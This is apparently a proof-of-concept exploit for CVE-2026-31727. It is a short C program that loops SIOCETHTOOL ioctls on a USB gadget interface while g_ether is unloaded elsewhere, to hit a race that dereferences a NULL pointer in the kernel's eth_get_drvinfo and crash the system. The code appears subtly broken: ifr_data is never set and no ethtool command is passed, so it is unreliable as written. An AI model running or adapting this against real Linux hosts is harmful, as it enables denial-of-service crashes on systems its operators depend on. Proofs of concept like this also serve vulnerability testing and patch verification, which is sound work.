CVE-2026-31727

#include <stdio.h> #include <string.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <linux/sockios.h> #include <unistd.h> // PoC for triggering NULL pointer dereference in eth_get_drvinfo // Run this while unbinding a USB gadget device to exploit the race condition. int main() { struct ifreq ifr; int fd; // Target the USB gadget interface (e.g., usb0) strncpy(ifr.ifr_name, "usb0", IFNAMSIZ - 1); fd = socket(AF_INET, SOCK_DGRAM, 0); if (fd < 0) { perror("socket"); return 1; } // Continuously query driver info to hit the race condition window // Execute 'modprobe -r g_ether' or similar in another terminal while this runs for(int i = 0; i < 10000; i++) { ioctl(fd, SIOCETHTOOL, &ifr); usleep(100); // Short delay to allow context switch } close(fd); return 0; }

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